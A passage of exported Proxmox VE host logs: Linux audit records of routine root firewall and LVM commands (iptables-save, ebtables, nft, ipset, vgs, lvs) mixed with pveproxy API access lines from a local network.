a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63072 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115297,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.297:59643): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57277 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125340,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.340:68539): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65821 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965386691,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964514992,"@rawstring":"node=pve type=EXECVE msg=audit(1781964514.992:61335): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966125306,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.306:68532): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964775591,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.591:62549): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59991 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965453044,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965453.044:65664): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63071 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115289,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.289:59642): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57276 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125334,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.334:68538): arch=c000003e syscall=59 success=yes exit=0 a0=598043bbeed0 a1=598043bbbc50 a2=598043b9d680 a3=5 items=2 ppid=65814 pid=65820 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385097,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:04 +0100] \"GET /api2/extjs/cluster/options?_dc=1781965384416 HTTP/1.1\" 200 100"} {"@timestamp":1781964514663,"@rawstring":"node=pve type=EXECVE msg=audit(1781964514.663:61334): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966125300,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.300:68531): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964775573,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.573:62545): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe612e0660 a1=55f8955a1b00 a2=55f895584680 a3=5 items=1 ppid=59984 pid=59985 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965453044,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965453.044:65663): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63071 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115283,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.283:59641): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b83fd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57275 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125331,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.331:68537): arch=c000003e syscall=59 success=yes exit=0 a0=59800af2fac8 a1=7ffeb9483690 a2=598043b9d680 a3=59800af1324e items=2 ppid=65814 pid=65816 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385097,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:04 +0100] \"GET /api2/extjs/cluster/sdn?_dc=1781965384416 HTTP/1.1\" 200 118"} {"@timestamp":1781964514655,"@rawstring":"node=pve type=EXECVE msg=audit(1781964514.655:61331): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966125291,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.291:68530): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964775493,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964775.493:62527): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe0b8a2390 a1=596d0756ab40 a2=596d0754d680 a3=5 items=1 ppid=59965 pid=59966 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965448034,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965448.034:65661): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63070 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115278,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.278:59640): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60d76f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57274 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125329,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.329:68536): arch=c000003e syscall=59 success=yes exit=0 a0=7ffeb9483650 a1=598043ba4310 a2=598043b9d680 a3=5 items=2 ppid=65814 pid=65815 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385097,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:04 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964509641,"@rawstring":"node=pve type=EXECVE msg=audit(1781964509.641:61328): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966125279,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.279:68529): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964770583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964770.583:62517): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59955 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965448034,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965448.034:65660): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63070 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115271,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.271:59639): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ff3a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57273 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.324:68534): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65814 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385097,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:04 +0100] \"GET /api2/extjs/version?_dc=1781965384415 HTTP/1.1\" 200 84"} {"@timestamp":1781964509631,"@rawstring":"node=pve type=EXECVE msg=audit(1781964509.631:61325): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966124141,"@rawstring":"node=pve type=EXECVE msg=audit(1781966124.141:68528): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964770583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964770.583:62516): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59955 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965448027,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965448.027:65658): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63069 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964114109,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964114.109:59638): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d71ae710 a1=64f8d73f0d80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57270 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125315,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.315:68533): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65813 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965385097,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781964506055,"@rawstring":"node=pve type=EXECVE msg=audit(1781964506.055:61322): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966124105,"@rawstring":"node=pve type=EXECVE msg=audit(1781966124.105:68527): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964770576,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964770.576:62514): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59954 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965448027,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965448.027:65657): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63069 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964114073,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964114.073:59637): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ec1c0 a1=64f8d73f0f10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125306,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.306:68532): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65812 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965384092,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:03 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 925"} {"@timestamp":1781964506052,"@rawstring":"node=pve type=EXECVE msg=audit(1781964506.052:61321): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966120477,"@rawstring":"node=pve type=EXECVE msg=audit(1781966120.477:68526): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964770576,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964770.576:62513): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59954 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965446021,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965446.021:65653): arch=c000003e syscall=59 success=no exit=-2 a0=7ffee1fb0b10 a1=5bacade37180 a2=5bacade15680 a3=5 items=1 ppid=63062 pid=63063 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964112973,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964112.973:59636): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125300,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.300:68531): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8afe360 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65811 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965384092,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:03 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964506051,"@rawstring":"node=pve type=EXECVE msg=audit(1781964506.051:61320): argc=1 a0=\"date\""} {"@timestamp":1781966120468,"@rawstring":"node=pve type=EXECVE msg=audit(1781966120.468:68523): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964765566,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.566:62511): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59953 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965445909,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965445.909:65635): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd05bc8090 a1=5d793ba66310 a2=5d793ba5f680 a3=5 items=1 ppid=63043 pid=63044 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964112961,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964112.961:59633): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57267 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125291,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.291:68530): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135da0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65810 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965384092,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964506047,"@rawstring":"node=pve type=EXECVE msg=audit(1781964506.047:61318): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966115461,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.461:68520): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964765566,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.566:62510): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59953 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965443016,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965443.016:65625): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63033 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964107955,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964107.955:59630): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57266 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125279,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.279:68529): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0bc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65809 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965384092,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964506041,"@rawstring":"node=pve type=EXECVE msg=audit(1781964506.041:61317): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966115445,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.445:68517): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964765558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.558:62508): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59952 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965443016,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965443.016:65624): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63033 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964107939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964107.939:59627): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57265 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966124141,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966124.141:68528): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e1ee0 a1=64f8d685d860 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65808 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965382073,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:01 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 912"} {"@timestamp":1781964506035,"@rawstring":"node=pve type=EXECVE msg=audit(1781964506.035:61316): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966115261,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.261:68514): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964765558,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.558:62507): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59952 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965443008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965443.008:65622): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63032 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105260,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.260:59624): arch=c000003e syscall=59 success=yes exit=0 a0=5d4eaabe0ed0 a1=5d4eaabddc50 a2=5d4eaabbf680 a3=5 items=2 ppid=57258 pid=57264 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966124105,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966124.105:68527): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b5ee0 a1=64f8d15ccd40 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65807 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined 